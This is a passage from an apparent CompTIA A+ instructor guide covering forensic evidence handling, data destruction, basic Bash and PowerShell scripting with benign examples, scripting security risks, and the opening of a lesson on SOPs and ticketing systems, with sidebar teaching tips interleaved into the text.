Data Integrity and Preservation

Digital forensics is the science of collecting evidence from computer systems to Show
a standard that will be accepted in a court of law. Like DNA or fingerprints, digital Slide(s)
evidence is mostly latent. Latent means that the evidence cannot be seen with the Data Integrity and
naked eye; rather, it must be interpreted using a machine or process. Preservation
It is unlikely that a computer forensic professional will be retained by an
organization, so such investigations are normally handled by law enforcement
agencies. However, if a forensic investigation is launched (or if one is a possibility),
it is important that technicians and managers are aware of the processes that the
investigation will use. It is vital that they are able to assist the investigator and that
they do not do anything to compromise the investigation. In a trial, the defense will
try to exploit any uncertainty or mistake regarding the integrity of evidence or the
process of collecting it.

Documentation of Incident and Recovery of Evidence

The general procedure for ensuring data integrity and preservation from the scene
of a security incident is as follows:
1. Identify the scope of the incident and the host systems and/or removable
drives that are likely to contain evidence. If appropriate, these systems should
be isolated from the network.

2. Document the scene of the incident using photographs and ideally video
and audio. Investigators must record every action they take in identifying,
collecting, and handling evidence.

3. If possible, gather any available evidence from a system that is still powered
on, using live forensic tools to capture the contents of cache, system memory,
and the file system. If live forensic tools are not available, it might be
appropriate to video record evidence from the screen.

4. If appropriate, disable encryption or a screen lock and then power off each
device.

5. Use a forensic tool to make image copies of fixed disk(s) and any removable
disks. A forensic imaging tool uses a write blocker to ensure that no changes
occur to the source disk during the imaging process.

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6. Make a cryptographic hash of each source disk and its forensic image. This
can be used to prove that the digital evidence collected has not been modified
subsequent to its collection.

7. Collect physical devices using tamper-evident bags and a chain-of-custody

form, and transport to secure storage.

Verifying a source disk with an image made using AccessData FTK® Imager.
(Screenshot used with permission from Exterro, Inc.)

Chain of Custody
It is vital that the evidence collected at the crime scene conforms to a valid timeline.
Digital information is susceptible to tampering, so access to the evidence must be
tightly controlled. Once evidence has been bagged, it must not subsequently be
handled or inspected, except in controlled circumstances.
A chain of custody form records where, when, and who collected the evidence,
who has handled it subsequently, and where it was stored. The chain of custody
must show access to, plus storage and transportation of, the evidence at every
point from the crime scene to the court room. Everyone who handles the evidence
must sign the chain of custody and indicate what they were doing with it.

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Data Destruction Methods

Data destruction and disposal refer to either destroying or decommissioning data Show
storage media, including hard disks, flash drives, tape media, and CDs/DVDs. The Slide(s)
problem has become particularly prominent as organizations repurpose and recycle Data Destruction
their old computers, either by donating them to charities or by sending them to a Methods
recycling company, where parts may later be recovered and sold.
Teaching
If the media device is going to be repurposed or recycled, a best practice procedure Tip
to sanitize data remnants on the media must be applied before the disk can be
Identify risks from
released. It is important to understand that media must also be sanitized if the simply using an OS
device is repurposed within the organization. For example, a server used to host format command,
a database of regulated data that no longer meets the performance requirement explain the use of
might be repurposed as file server. It is imperative that the database information be overwriting software
sanitized prior to this change in role. for HDDs, and then
explain why SE or
When selecting an appropriate sanitization method, you need to understand crypto erase (best
the degree to which data on different media types may be recoverable and the way of interpreting
likelihood that a threat actor might attempt such recovery. Data from a file “deleted” “low level format”
for modern drives) is
from a disk is not erased. Rather, the HDD sector or SSD block is marked as
required for SSDs.
available for writing. The information contained at that storage location will only be
removed when new file data is written. Similarly, using the OS standard formatting
tool to delete partitions and write a new file system will only remove references to
files and mark all sectors as useable. In the right circumstances and with the proper
tools, any deleted information from a hard drive could be recovered relatively
easily. Recovery from SSDs requires specialist tools but is still a risk.

Erasing/Wiping
Disk erasing/wiping software ensures that old data is destroyed by writing to each
location on a hard disk drive, either using zeroes or in a random pattern. This leaves
the disk in a “clean” state ready to be passed to the new owner. This overwriting
method is suitable for all but the most confidential data, but it is time-consuming
and requires special software. Also, it does not work reliably with SSDs.

Low Level Format

Most disk vendors supply low level format tools to reset a disk to its factory
condition. Most of these tools will now incorporate some type of sanitize function.
You must verify the specific capability of each disk model, but the following
functions are typical:
• Secure Erase (SE) performs zero-filling on HDDs and marks all blocks as empty
on SSDs. The SSD firmware’s automatic garbage collectors then perform the
actual erase of each block over time. If this process is not completed (and there
is no progress indicator), there is a risk of remnant recovery, though this requires
removing the chips from the device to analyze them in specialist hardware.

• Instant Secure Erase (ISE)/Crypto Erase uses the capabilities of self-encrypting

drives (SEDs) as a reliable sanitization method for both HDDs and SSDs. An SED
encrypts all its contents by using a media encryption key (MEK). Crypto Erase
destroys this key, rendering the encrypted data unrecoverable.

If the device firmware does not support encryption, using a software disk-encryption
product and then destroying the key and using SE should be sufficient for most
confidentiality requirements.

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Disposal and Recycling Outsourcing Concepts

Show If a media device is not being repurposed or recycled, physical destruction might
Slide(s) be an appropriate disposal method. A disk can be mechanically destroyed in
Disposal and Recycling specialist machinery:
Outsourcing Concepts
• Shredding—The disk is ground into little pieces. A mechanical shredder works in
much the same way as a paper shredder.

• Incinerating—The disk is exposed to high heat to melt its components. This

should be performed in a furnace designed for media sanitization. Municipal
incinerators may leave remnants.

• Degaussing—A hard disk is exposed to a powerful electromagnet that disrupts

the magnetic pattern that stores the data on the disk surface. Note that
degaussing does not work with SSDs or optical media.

There are many third-party vendors specializing in outsourced secure disposal.

They should provide a certificate of destruction showing the make, model, and
serial number of each drive they have handled plus date of destruction and how it
was destroyed. A third-party company might also use overwriting or crypto-erase
and issue a certificate of recycling rather than destruction.
A disk can also be destroyed using drill or hammer hand tools—do be sure to wear
protective goggles. While safe for most cases, this method is not appropriate for the
most highly confidential data as there is at least some risk of leaving fragments that
could be analyzed using specialist tools.

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Review Activity:
Data Handling Best Practices
6

Answer the following questions: Show

Slide(s)
Review
1. You are updating data handling guidance to help employees recognize
Teaching
different types of regulated data. What examples could you add to help
Tip
identify healthcare data?
Take some time at
Personal healthcare data is medical records, insurance forms, hospital/laboratory the end of each topic
to answer questions.
test results, and so on. Healthcare information is also present in de-identified or
You can use the
anonymized data sets. review questions
for discussion in
2. An employee has a private license for a graphics editing application that class or set them for
was bundled with the purchase of a digital camera. The employee needs students to complete
to use this temporarily for a project and installs it on her computer at individually during or
work. Is this a valid use of the license? after class.

No. The license is likely to permit installation to only one computer at a time. It
might or might not prohibit commercial use, but regardless of the license terms,
any installation of software must be managed by the IT department.

3. Why are the actions of a first responder critical in the context of a

forensic investigation?

Digital evidence is difficult to capture in a form that demonstrates that it has not
been tampered with. Documentation of the scene and proper procedures are
crucial.

4. What does chain-of-custody documentation prove?

Who has had access to evidence collected from a crime scene and where and how it
has been stored.

5. Your organization is donating workstations to a local college. The

workstations have a mix of HDD and SSD fixed disks. There is a proposal
to use a Windows boot disk to delete the partition information for each
disk. What factors must be considered before proceeding with this
method?

Using standard formatting tools will leave data remnants that could be recovered in
some circumstances. This might not be considered high risk, but it would be safer
to use a vendor low-level format tool with support for Secure Erase or Crypto Erase.

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Topic 19D
Identify Basics of Scripting
6

Show CORE 2 EXAM OBJECTIVES COVERED

Slide(s) 4.8 Identify the basics of scripting.
Identify Basics of
Scripting
Many IT support tasks are straightforward but repetitive. Whenever people are
Teaching
called upon to perform repetitive tasks, there is quite a high chance that they
Tip
will make mistakes. Developing scripts to automate these repetitive tasks means
Scripting is another that they can be performed with greater consistency. Also, if you want to change
topic that is difficult
to cover as students
something about the configuration, it is easier to tweak the script than to adjust
can come with very many desktops or user accounts manually. As a CompTIA A+ technician, you
different levels are highly likely to work in environments that make use of scripting. You should
of background understand the basics of how a script is written and executed securely.
knowledge. The
approach here is
to repeat (briefly) Shell Scripts
some of the basic
code constructs for Coding means writing a series of instructions in the syntax of a particular language
students who may not so that a computer will execute a series of tasks. There are many types of coding
have completed ITF+. language and many ways of categorizing them, but three helpful distinctions are as
Show follows:
Slide(s) • A shell scripting language uses commands that are specific to an operating
Shell Scripts system.

Teaching • A general-purpose scripting language uses statements and modules that are
Tip independent of the operating system. This type of script is executed by an
Use Linux shell interpreter. The interpreter implements the language for a particular OS.
scripts as a general
introduction to the • A programming language is used to compile an executable file that can be
subject. Explain that installed to an OS and run as an app.
basic shell scripts or
batch files simply use
The various types of scripting are often described as glue languages. Rather than
commands from the
implement an independent bit of software (as a programming language would), a glue
underlying operating
system. language is used to automate and orchestrate functions of multiple different OS and
app software.

You can develop a script in any basic text editor, but using an editor with script
support is more productive. Script support means the editor can parse the syntax
of the script and highlight elements of it appropriately. For complex scripts and
programming languages, you might use an integrated development environment
(IDE). This will provide autocomplete features to help you write and edit code
and debugging tools to help identify whether the script or program is executing
correctly.

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A Linux shell script uses the .SH extension by convention. Every shell script starts
with a shebang line that designates which interpreter to use, such as Bash or Ksh.
Each statement comprising the actions that the script will perform is then typically
added on separate lines. For example, the following script instructs the OS to
execute in the Bash interpreter and uses the echo command to write “Hello World”
to the terminal:
#!/bin/bash
echo ‘Hello World’

An example of a Linux shell script open in the vim text editor.

Remember that in Linux, the script file must have the execute permission set to
run. Execute can be set as a permission for the user, group, or world (everyone). If
a PATH variable to the script has not been configured, execute it from the working
directory by preceding the filename with ./ (for example, ./hello.sh), or use
the full path.

Setting execute permission for the user and running the script.

Basic Script Constructs

To develop a script in a particular language, you must understand the syntax of the Show
language. Most scripting languages share similar constructs, but it is important to Slide(s)
use the specific syntax correctly. A syntax error will prevent the script from running, Basic Script Constructs
while a logical error could cause it to operate in a way that is different from what
was intended. Teaching
Tip
Comments Sticking with Bash,
take the opportunity
It is best practice to add comments in code to assist with maintaining it. A comment to explain basic code
line is ignored by the compiler or interpreter. A comment line is indicated by a constructs, such as
special delimiter. In Bash and several other languages, the comment delimiter is the comments, variables,
hash or pound sign ( # ). and branching/looping
statements.
#!/bin/bash
# Greet the world
echo ‘Hello World’

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Variables
A variable is a label for some value that can change as the script executes. For
example, you might assign the variable FirstName to a stored value that
contains a user’s first name. Variables are usually declared, defined as a particular
data type (such as text string or number), and given an initial value at the start of
the routine in which they are used.
An argument or parameter is a variable that is passed to the script when it is
executed. In Bash, the values $1, $2, and so on are used to refer to arguments
by position (the order in which they are entered when executing the script). Other
languages support passing named arguments.

Branches and Loops

A script contains one or more statements. In the normal scheme of execution,
each statement is processed in turn from top to bottom. Many tasks require more
complex structures, however. You can change the order in which statements are
executed based on logical conditions evaluated within the script. There are two
main types of conditional execution: branches and loops.

Branches
A branch is an instruction to execute a different sequence of instructions based on
the outcome of some logical test. For example, the following code will display “Hello
Bobby” if run as ./hello.sh Bobby, executing the statement under “else”. If
run with no argument, it prints “Hello World”:
#!/bin/bash
# Demonstrate If syntax in Bash
if [ -z “$1” ]
then
    echo ‘Hello World’
else
    echo “Hello $1”
fi
-z tests whether the first positional parameter ($1) is unset or empty.

In the condition, the variable is enclosed in double quotes as this is a safer way to treat
the input from the user (supplied as the argument). In the second echo statement,
double quotes are used because this allows the variable to expand to whatever it
represents. Using single quotes would print “Hello $1” to the terminal.

Loops
A loop allows a statement block to be repeated based on some type of condition. A
“For” loop can be used when the number of iterations is predictable. The following
command executes the ping command for each host address in 192.168.1.0/24:
#!/bin/bash
# Demonstrate For syntax in Bash
for i in {1..254}

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do
    ping -c1 “192.168.1.$i”
done
As well as “For” structures, loops can also be implemented by “While” statements.
A “While” or “Until” loop repeats an indeterminate number of times until a logical
condition is met. The following script pings the address supplied as an argument
until a reply is received:
#!/bin/bash
# Demonstrate Until syntax in Bash
until ping -c1 “$1” &>/dev/null
do
    echo “192.168.1.$1 not up”
done
echo “192.168.1.$1 up”
The condition executes the ping command and tests the result. When a reply is
received, ping returns true. The &>/dev/null part stops the usual ping output
from being written to the terminal by redirecting it to a null device.

Make sure your code does not contain unintended or infinite loops. The loop above will
continue until a reply is received, which could never happen.

Operators
Looping and branching structures depend on logical tests to determine which
branch to follow or whether to continue the loop. A logical test is one that resolves
to a TRUE or FALSE value. You need to be familiar with basic comparison and logical
operators:

Symbol Notation Switch Notation Usage

== -eq Is equal to (returns TRUE if both
conditions are the same)
!= -ne Is not equal to (returns FALSE if both
conditions are the same)
< -lt Is less than
> -gt Is greater than
<= -le Is less than or equal to
>= -ge Is greater than or equal to
&& AND If both conditions are TRUE, then the
whole statement is TRUE
|| OR If either condition is TRUE, then the
whole statement is TRUE

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Windows Scripts
Show Windows supports several distinct shell coding environments. The three commonly
Slide(s) used are PowerShell, Visual Basic Script, and the CMD interpreter.
Windows Scripts
Windows PowerShell
Teaching
Tip Windows PowerShell (PS) combines a script language with hundreds of prebuilt
modules called cmdlets that can access and change most components and features
Discuss the three main
Windows scripting
of Windows and Active Directory. Cmdlets use a Verb-Noun naming convention.
shells. For example, Write-Host sends output to the terminal, while Read-Host
prompts for user input.
Microsoft provides the Windows PowerShell Integrated Scripting Environment (ISE)
for rapid development. PowerShell script files are identified by the .PS1 extension.

Windows PowerShell ISE. (Screenshot courtesy of Microsoft.)

VBScript
VBScript is a scripting language based on Microsoft’s Visual Basic programming
language. VBScript predates PowerShell. VBScript files are identified by the .VBS
extension. VBScript is executed by the wscript.exe interpreter by default. Wscript.
exe displays any output from the script in a desktop window or dialog. A script can
also be run with cscript.exe to show output in a command prompt.

You would now normally use PowerShell for Windows automation tasks. You might
need to support legacy VBScripts, though.

Batch Files
A shell script written for the basic Windows CMD interpreter is often described as a
batch file. Batch files use the .BAT extension.

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An example of a Windows batch file. (Screenshot courtesy of Microsoft.)

JavaScript and Python

Bash and PowerShell/VBScript are closely tied to the Linux and Windows operating Show
systems respectively. There are many other platform-independent scripting and Slide(s)
programming languages. JavaScript and Python

JavaScript Teaching
Tip
JavaScript is a scripting language that is designed to implement interactive web-
based content and web apps. Most web servers and browsers are configured with a Explain that these
are general-
JavaScript interpreter. This means that JavaScript can be executed automatically by purpose scripting/
placing it in the HTML code for a web page. programming
languages. JavaScript
If not embedded within another file, J avaScript script files are identified by the
is mostly associated
.JS extension. The Windows Script Host (wscript.exe and cscript.exe) supports with building web/
JavaScript. JavaScript is also supported on macOS for automation (along with mobile apps, while
AppleScript). This is referred to as JavaScript for Automation (JXA). Python can be used
for pretty much any
programming task.

JavaScript code embedded in a web page. Some code is loaded from .JS files from other servers;
some code is placed within script tags. (Screenshot courtesy of Mozilla.)

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Python
Python is a general-purpose scripting and programming language that can be used
to develop both automation scripts and software apps. A Python project can either
be run via an interpreter or compiled as a binary executable. There are several
interpreters, including CPython (python.org) and PyPy (pypy.org). CPython is the
simplest environment to set up for Windows.
Python script files are identified by the .PY extension. When using CPython in
Windows, there is a console interpreter (python.exe) and a windowed interpreter
(pythonw.exe). The extension .PYW is associated with pythonw.exe.

Python Integrated Development and Learning Environment (IDLE). As well as a terminal

and script editor, the environment has a debugger. You can use this to step through
statements and examine the value of variables.

Show There are two major versions of Python: version 2 and version 3. It is possible for both
Slide(s) to be installed at the same time. In Linux, using the keyword python executes a
Use Cases for Scripting script as version 2, while python3 executes a script in the version 3 interpreter. As
of 2020, Python 2 is end of life (EOL), so scripts should really be updated to version 3
Teaching syntax.
Tip
Use the list to make
students aware of the
Use Cases for Scripting
sort of automation One of the primary use cases for scripting is basic automation. Automation means
tasks that can be
accomplished through
performing some series of tasks that are supported by an OS or by an app via a
scripting. Discuss how script rather than manually. When using a local script environment, such as Bash
a scripting language on Linux or PowerShell on Windows, the script can use the built-in command
can achieve this: either environment.
by using commands in
the OS or by using the When using a general-purpose language, such as Python, the script must use the
OS’s API (and in the operating system’s application programming interface (API) to “call” functions.
latter case via a pre- These API calls must be implemented as modules. Python has many prebuilt
built module/library modules for automating Windows, Linux, and macOS. For example, the os module
or through direct API
implements file system, user/permission functions, and process manipulation
calls).

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for whatever environment the interpreter is installed to. You can also use the
interpreter in a more specific context. For example, mod_python implements a
Python interpreter for the Apache web server software.

Another option is to call one script from another. For example, if you have some task
that involves both Linux and Windows PCs, you might create a Python script to manage
the task but execute Bash and PowerShell scripts from the Python script to implement
the task on the different machines.

Restarting Machines
In an ideal world, no OS would ever need restarting. While Windows has made
some improvements in this respect, many types of installation or update still
require a reboot. In PowerShell, you can use the Restart-Computer cmdlet.
The -Force parameter can be used to ignore any warnings that might be
generated.
Linux is famous for its ability to run for any period without requiring a restart.
However, should the need arise, the command to restart the host in Bash is
shutdown -r
Remapping Network Drives
In a Windows batch file, the net use command performs drive mapping. The
same thing can be done with PowerShell using the New-PSDrive cmdlet. This
type of script demonstrates the need for error handling. If you try to map a drive
using a letter that has been assigned already, the script will return an error. You can
anticipate this by using an If condition to remove an existing mapping, if present:
If (Test-Path L:) {
Get-PSdrive L | Remove-PSDrive
}
New-PSDrive -Name “L” -Persist -PSProvider
FileSystem -Root “\\MS10\LABFILES”
Error handling is an important part of developing robust scripts.
Network drive mapping is a Windows-only concept. In Linux, a file system is made
available by mounting it within the root file system, using the mount and umount
commands.

Installation of Applications
In Windows, a setup file can be executed in silent mode by using the command
switches for its installer. Installers are typically implemented either as .EXE files or
as Windows Installer (.MSI) packages. To use an EXE setup in a batch file, just add
the path to the installer plus switches:
C:\David\Downloads\setup.exe /S /desktopicon=yes
To use a Windows Installer, add the msiexec command:
msiexec C:\David\Downloads\install.msi /qn
You can also run these commands directly in a PowerShell script. However, the
Start-Process cmdlet gives you more options for controlling the installation
and handling errors.
In Linux, scripts are often used to compile apps from source code. You could also
use a script to automate APT or YUM package management.

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Initiating Updates
In Windows, the wusa.exe process can be called from a batch file to perform
typical update tasks. In PowerShell, the PSWindowsUpdate module contains
numerous cmdlets for managing the update process. Most third-party applications
should support update-checking via an API.
In Linux, you can call apt-get/apt or yum from your Bash script. The -y option
can be used to suppress confirmation messages.

Automated Backups
At the command prompt, a simple type of backup can be performed by using the
ordinary file-copy tools, such as robocopy in Windows, or the script could call
functions of a proper backup utility. The script can be set to run automatically by
using Windows Task Scheduler or via cron in Linux.

Gathering of Information/Data
In Windows PowerShell, there are hundreds of Get verb cmdlets that will return
configuration and state data from a Windows subsystem. For example, Get-
NetAdapter returns properties of network adapters and Get-WinEvent
returns log data. You can pipe the results to the Where-Object and Select-
Object cmdlets to apply filters.
Bash supports numerous commands to manipulate text. You can gather data from
the output of a command such as ps or df, filter it using grep, format it using
tools like awk or cut, and then redirect the output to a file.
printf “Processes run by $1 on $(date +%F) at
$(date +%T) \n” >> “ps-$1.log”
ps -ef | grep “$1” | cut “$((${#1}+9))-” >> “ps-
$1.log”
This script reports processes by the username supplied as an argument to a log
file, using the argument variable to name the file. The printf command appends
a header with the date, time, and username. The second line filters ps output by
the username, uses the length of the argument variable plus nine to cut characters
from each line, and appends the output to the same log file.

Scripting Best Practices and Considerations

Show
Slide(s) Deploying any type of code comes with the risk of introducing vulnerabilities. This
Scripting Best means that deployment of scripts must be subject to best practices.
Practices and
Considerations Malware Risks
Teaching There are several ways that a custom script could be compromised to allow a threat
Tip actor to install malware or perform some type of privilege escalation.
Explain how poor • If the interpreter is not a default feature, enabling it expands the attack surface.
code could cause
Threat actors use environments such as PowerShell to craft fileless malware.
unexpected system
changes or instability.
• The threat actor could modify the source code to make it act as malware. In
Discuss the concept
of an attack surface effect, the threat actor is using the script as a Trojan.
and the importance of
monitoring developed • The script could open a network port or expose some type of user form for
and reused third- input. If the script does not handle this input correctly, the threat actor could
party code for known exploit a vulnerability to return unauthorized data or run arbitrary code.
vulnerabilities and bad
practice.

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To mitigate these risks, all script source code should be subject to access and
version controls to prevent unauthorized changes. Code should be scanned and
tested for vulnerabilities and errors before it can be deployed. Scripts should be
configured to run with the minimum privileges necessary for the task.

Inadvertent System-Settings Changes

Another risk is from non-malicious or inadvertent threat where a script performs
some unforeseen or unexpected system change. One example is accidental
DoS, where a script powers off a system rather than restarting it or locks out
remote access, perhaps by changing a firewall configuration. Other examples
include weakening the security configuration by enabling the script environment,
creating port exceptions, disabling scanning software so that the script executes
successfully, and so on. Scripts that can only be made to work by disabling
security mechanisms are not safe enough to consider running. Test all code in
a development environment, and ensure that any changes to hosts that are
required to run the scripts are included in updated and monitored through new
configuration baselines.

Browser or System Crashes Due to Mishandling of Resources

Another way for a script to cause accidental DoS is through mishandling of
resources. Some programming languages, such as C/C++, require very careful use
of coding techniques to avoid creating vulnerabilities in the way the instructions
manipulate system RAM. Scripting languages don’t suffer from this type of
vulnerability (they are considered safe with respect to memory handling), but
coding mistakes can still lead to situations where the script mishandles compute or
storage resources. Some examples are:
• Creating files that deplete disk storage resources, such as log files or temp files.

• Using a faulty loop code construct that does not terminate and causes the script
to hang.

• Making a faulty API call to some other process, such as the host browser, that
causes it to crash.

Every script must be tested to try to eliminate these kinds of mistakes before it is
deployed, and its execution should be monitored to pick up any bugs that were not
found in the test phase.

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Review Activity:
Basics of Scripting
7

Show Answer the following questions:

Slide(s)
Review

Teaching 1. You are auditing a file system for the presence of any unauthorized
Tip Windows shell script files. Which three extensions should you scan for?
Take some time at .PS1 for PowerShell scripts, .VBS for VBScript, and .BAT for cmd batch files.
the end of each topic
to answer questions. 2. You want to execute a block of statements based on the contents of an
You can use the
inventory list. What type of code construct is best suited to this task?
review questions
for discussion in
You can use any type of loop to iterate through the items in a list or collection, but a
class or set them for
students to complete For loop is probably the simplest.
individually during or
after class. 3. You are developing a Bash script to test whether a given host is up. Users
will run the script in the following format:
./ping.sh 192.168.1.1
Within the code, what identifier can you use to refer to the IP address
passed to the script as an argument?

$1 will refer to the first positional argument.

4. You are developing a script to ensure that the M: drive is mapped

consistently to the same network folder on all client workstations. What
type of construct might you use to ensure the script runs without errors?

Use a conditional block (If statement) to check for an existing mapping, and remove
it before applying the correct mapping.

5. You are developing a script to scan server hosts to discover which ports
are open and to identify which server software is operating the port.
What considerations should you make before deploying this script?

While the risk is low, scanning activity could cause problems with the target and
possibly even crash it. Test the script in a sandbox environment before deploying
it. Security software might block the operation of this script, and there is some risk
from the script or its output being misused. Make sure that use of the script and
its output are subject to access controls and that any system reconfiguration is
properly change-managed.

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Lesson 19
Summary
6

You should be able to use remote access, backup/recovery, data destruction, Show
and scripting tools and methods to provide operational support and explain Slide(s)
the importance of prohibited content/activity and privacy, licensing, and policy Summary
concepts.
Teaching
Guidelines for Using Support and Scripting Tools Tip
Try to include some
Follow these guidelines to use support and scripting tools: time at the end
• Use a desktop management or RMM suite or individual remote access tools of each lesson to
check students'
(RDP/MSRA, VNC, SSH, VPN, screen-sharing software, video-conferencing understanding and
software, and file transfer software) to implement secure remote-support answer questions.
procedures.

• Configure and regularly test 3-2-1 rule backup and media rotation methods (full,
incremental, differential, synthetic, GFS, and on site versus off site) to ensure
secure recovery from disasters.

• Create management and monitoring procedures to ensure appropriate use of

personal/corporate and open-source EULAs and detect and remove invalid/
expired software licenses.

• Develop standard procedures to ensure compliance with regulatory security and

privacy requirements:

• Data handling for regulated data (credit card transactions, personal

government-issued information, PII, and healthcare data).

• Data retention requirements for regulated data.

• Data remnant removal (erasing/wiping, low-level formatting, and standard

formatting) or physical destruction (drilling, shredding, degaussing, and
incinerating) directly or outsourced via a third-party vendor who can supply a
certificate of destruction/recycling.

• Develop security-incident-response procedures and resources to document

incidents, inform management/law enforcement, and ensure data integrity and
preservation via chain-of-custody recording.

• Consider using common script types (.BAT, .PS1, .VBS, .SH, .JS, and .PY) to
implement basic automation (restarting machines, remapping network drives,
installation of applications, automated backups, gathering of information/data,
and initiating updates), taking account of security considerations (unintentionally
introducing malware, inadvertently changing system settings, and browser or
system crashes due to mishandling of resources).

Additional practice questions for the topics covered in this lesson are available on the
CompTIA Learning Center.

Lesson 19: Using Support and Scripting Tools

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 Lesson 20
Implementing Operational
1
Procedures

LESSON INTRODUCTION
In the previous lesson, we considered processes for providing remote support, Show
data handling and backup, incident response, and automation through scripting. Slide(s)
Companies also need ticketing systems, asset documentation, and change- Objectives
management procedures to enforce configuration management. They need safe
working practices and to ensure the physical environment does not present any Teaching
health hazards or risks to electronic devices. Additionally, they need to ensure Tip
that technicians and agents represent the company professionally in all customer This lesson completes
contact and support situations. This lesson will help you to identify the best the coverage
practices that underpin these important operational procedures. of operational
procedures (and
the Core 2 course).
Lesson Objectives It concentrates
on documented
In this lesson, you will: procedures and
systems for ticket/
• Implement best practice documentation. change management,
customer support,
• Use proper communication techniques. and safety and
environmental
• Use common safety and environmental procedures. controls.

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Topic 20A
Show
Slide(s)
Implement Best Practice
Implement
Best Practice
Documentation
Documentation 2

Teaching CORE 2 EXAM OBJECTIVES COVERED

Tip 4.1 Given a scenario, implement best practices associated with documentation and
The main focus of support systems information management.
this topic is the new 4.2 Explain basic change-management best practices.
ticketing system
example, but we
will also cover
IT support depends on ticketing systems to keep track of issues as they are
asset/inventory reported, investigated, and resolved. You should also document the service
documentation, environment so that each asset is identified and subjected to change-control
change management, procedures. Implementing this type of best practice documentation will help to
and SOP/policy ensure reliable and secure IT services.
documentation.

Standard Operating Procedure

Show Employees must understand how to use computers and networked services
Slide(s) securely and safely and be aware of their responsibilities. To support this,
Standard Operating the organization needs to create written policies and procedures to help staff
Procedure understand and fulfill their tasks and follow best practice:

Teaching
• A policy is an overall statement of intent.
Tip • A standard operating procedure (SOP) is a step-by-step list of the actions that
Discuss how SOPs help must be completed for any given task to comply with policy. Most IT procedures
to ensure consistency should be governed by SOPs.
and security.
• Guidelines are for areas of policy where there are no procedures, either because
the situation has not been fully assessed or because the decision-making
process is too complex and subject to variables to be able to capture it in a SOP.
Guidelines may also describe circumstances where it is appropriate to deviate
from a specified procedure.

Typical examples of SOPs are as follows:

• Procedures for custom installation of software packages, such as verifying
system requirements, validating download/installation source, confirming
license validity, adding the software to change control/monitoring processes,
and developing support/training documentation.

• New-user setup checklist as part of the onboarding process for new employees
and employees changing job roles. Typical tasks include identification/
enrollment with secure credentials, allocation of devices, and allocation of
permissions/assignment to security groups.

• End-user termination checklist as part of the offboarding process for employees

who are retiring, changing job roles, or have been fired. Typical tasks include
returning and sanitizing devices, releasing software licenses, and disabling
account permissions/access.

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Ticketing Systems
A ticketing system manages requests, incidents, and problems. Ticketing systems Show
can be used to support both internal end-users and external customers. Slide(s)
The general process of ticket management is as follows: Ticketing Systems

1. A user contacts the help desk, perhaps by phone or email or directly via the Teaching
ticketing system. A unique job ticket ID is generated, and an agent is assigned Tip
to the ticket. The ticket will also need to capture some basic details: Describe the core
fields and the
• User information—The user’s name, contact details, and other relevant function they serve in
information such as department or job role. It might be possible to link the recording, prioritizing,
ticket to an employee database or customer relationship management (CRM) and progressing
database. support cases.

• Device information—If relevant, the ticket should record information about

the user’s device. It might be possible to link to the relevant inventory record
via a service tag or asset ID.

2. The user supplies a description of the issue. The agent might ask clarifying
questions to ensure an accurate initial description.

3. The agent categorizes the support case, assesses how urgent it is, and
determines how long it will take to fix.

4. The agent may take the user through initial troubleshooting steps. If these
do not work, the ticket may be escalated to deskside support or a senior
technician.

Defining help-desk categories in the osTicket ticketing system.

(Screenshot courtesy of osTicket.com.)

Categories
Categories and subcategories group related tickets together. This is useful for
assigning tickets to the relevant support section or technician and for reporting and
analysis.
Service management standards distinguish between the following basic ticket types:
• Requests are for provisioning things that the IT department has a SOP for,
such as setting up new user accounts, purchasing new hardware or software,
deploying a web server, and so on. Complex requests that aren’t covered by
existing procedures are better treated as projects rather than handled via the
ticketing system.

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• Incidents are related to any errors or unexpected situations faced by end-users

or customers. Incidents may be further categorized by severity (impact and
urgency), such as minor, major, and critical.

• Problems are causes of incidents and will probably require analysis and service
reconfiguration to solve. This type of ticket is likely to be generated internally
when the help desk starts to receive many incidents of the same type.

Using these types as top-level categories for an end-user facing system is not always
practical, however. End-users are not likely to know how to distinguish incidents
from problems, for example. Devising categories that are narrow enough to be
useful but not so numerous as to be confusing or to slow down the whole ticketing
process is a challenging task.
One strategy is for a few simple, top-level categories that end-users can self-select,
such as New Device Request, New App Request, Employee Onboarding, Employee
Offboarding, Help/Support, and Security Incident. Then, when assigned to the ticket,
the support technician can select from a longer list of additional categories and
subcategories to help group related tickets for reporting and analysis purposes.
Alternatively, or to supplement categories, the system might support adding
standard keyword tags to each ticket. A keyword system is more flexible but does
depend on each technician tagging the ticket appropriately.

Severity
A severity level is a way of classifying tickets into a priority order. As with categories,
these should not be overcomplex. For example, three severity levels based on
impact might be considered sufficient:
• Critical incidents have a widespread effect on customers or involve potential or
actual data breach.

• Major incidents affect a limited group of customers or involve a suspected

security violation.

• Minor incidents are not having a significant effect on customer groups.

More discrete levels may be required if the system must prioritize hundreds
or thousands of minor incidents per week. A more sophisticated system that
measures both impact and urgency might be required. Severity levels can also drive
a notification system to make senior technicians and managers immediately aware
Show of major and critical incidents as they arise.
Slide(s)
Ticket Management Ticket Management
Teaching After opening an incident or problem ticket, the troubleshooting process is applied
Tip until the issue is resolved. At each stage, the system must track the ownership of
Discuss how a the ticket (who is dealing with it) and its status (what has been done).
ticketing system
supports effective
This process requires clear written communication and might involve tracking
teamwork only if through different escalation routes.
fields are completed
clearly and concisely. Escalation Levels
Escalation is covered
in Core 1 as part of Escalation occurs when an agent cannot resolve the ticket. Some of the many
the troubleshooting reasons for escalation include:
model, but remind
students of the • The incident is related to a problem and requires analysis by senior technicians
main routes (senior or by a third-party/warranty support service.
staff, management,
vendors, sales/conflict • The incident severity needs to be escalated from minor to major or major to
resolution) here. critical and now needs the involvement of senior decision-makers.

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• The incident needs the involvement of sales or marketing to deal with service
complaints or refund requests.

The support team can be organized into tiers to clarify escalation levels. For
example:
• Tier 0 presents self-service options for the customer to try to resolve an incident
via advice from a knowledge base or “help bot.”

• Tier 1 connects the customer to an agent for initial diagnosis and possible
incident resolution.

• Tier 2 allows the agent to escalate the ticket to senior technicians (Tier 2 –
Internal) or to a third-party support group (Tier 2 – External).

• Tier 3 escalates the ticket as a problem to a development/engineer team or to

senior managers and decision-makers.

The ticket owner is the person responsible for managing the ticket. When
escalating, ownership might be re-assigned or not. Whatever system is used, it
is critical to identify the current owner. The owner must ensure that the ticket is
progressed to meet any deadlines and that the ticket requester is kept informed
of status.

Clear Written Communication

Free-form text fields allow ticket requesters and agents to add descriptive
information. There are normally three fields to reflect the ticket life cycle:
• Problem description records the initial request with any detail that could easily
be collected at the time.

• Progress notes record what diagnostic tools and processes have discovered and
the identification and confirmation of a probable cause.

• Problem resolution sets out the plan of action and documents the successful
implementation and testing of that plan and full system functionality. It should
